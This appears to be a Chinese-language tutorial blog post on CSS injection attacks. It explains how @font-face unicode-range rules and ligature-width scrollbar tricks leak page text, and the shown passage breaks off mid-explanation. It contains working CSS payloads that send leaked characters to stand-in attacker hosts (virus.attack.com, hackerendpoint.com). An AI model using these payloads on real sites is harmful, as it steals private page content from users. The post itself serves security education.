CSS 相關的攻擊 (下篇之 3)

15th鐵人賽

kika

2023-09-26 17:00:55

262 瀏覽

分享至

CSS 相關的攻擊 (下篇之 3)

今天，我們來介紹其他與 css 相關的 selector & 其他攻擊方法 ~

其他 Selector

.class-to-select:nth-child(child_number):

使用 :nth-child 會搜尋:

在 DOM 中第 child_number 個 class 是 class-to-select 的元素
:empty :

用於選擇不包含任何子元素的元素。

@font-face / unicode-range

為特定的 unicode 值指定外部字體，僅當頁面中存在這些 unicode 值時才會收集這些字體。

那麼以上這段話，用白話文來說是什麼意思呢?

我們可以看看以下範例:

<style>
@font-face{
 font-family:custom_font;
 src: url(http://virus.attack.com/?A); /* fetched */
 unicode-range:U+0041;
}

@font-face{
 font-family:custom_font;
 src: url(http://virus.attack.com/?B); /* fetched */
 unicode-range:U+0042;
}

@font-face{
 font-family:custom_font;
 src: url(http://virus.attack.com/?C); /* not fetched */
 unicode-range:U+0043;
}

#secret{
 font-family:poc;
}

</style>
<p id="secret">AB</p>

解說:

@font-face 介紹:

根據 MDN 的說明:

CSS 樣式表內的 @font-face 可用來自定義字體（字型），其中有個 unicode-range 屬性用來設置 @font-face 定義字體所要使用的特定字元範圍（或者說 Unicode 區段），並提供給頁面顯示讓使用者可以看到。

-> 整理如上所述可知:

如果頁面沒有使用這個範圍內的任何字元，則不會下載該字體
範例說明:

在了解 @font-face 和 unicode-range 後，透過 "為特定的 unicode 值指定外部字體"，我們能只在當頁面中存在這些 unicode 值時才會收集這些字體，我們就可以藉此大概猜出有成功的是那些字元。

文字節點滲漏（一）：連字

情境 - 連字 + 寬度變化

結合字體'連字'和'寬度變化檢測'的技術來提取節點中包含的文字。

什麼意思呢?
也就是說，我們可以透過 "創建包含大尺寸預定義連字的字體"，並將尺寸變化用作預言機，來擷取我們所想要偷取的文字。

方法範例

建立 SVG 字體，接著透過 fontforge 將其轉換為 woff 檔。

在 SVG 中，我們可以透過 horiz-adv-x 屬性定義字形的寬度。

範例:

<glyph unicode="AB" horiz-adv-x="9000" d="M1 0z"/>

若 AB 兩個字元的序列存在的話，他將會被渲染且文字大小會改變。

但我們要如何檢視這些變化呢?

可以透過設定 nowrap ，我們設定選定特定目標元素，使之 "對待空白字元的方式跟 normal 一樣，且會強制不換行。"，那麼他就會在超過父級寬度時，不會中斷，就會出現水平 scrollbar。

透過水平 scrollbar，我們就可以定義這個卷軸的樣式，來讓文字發生洩漏。

範例:

body { white-space: nowrap }

body::-webkit-scrollbar { background: red; }

body::-webkit-scrollbar:horizontal { 
  background: url(http://hackerendpoint.com/?leak); 
}

過程大致上如下: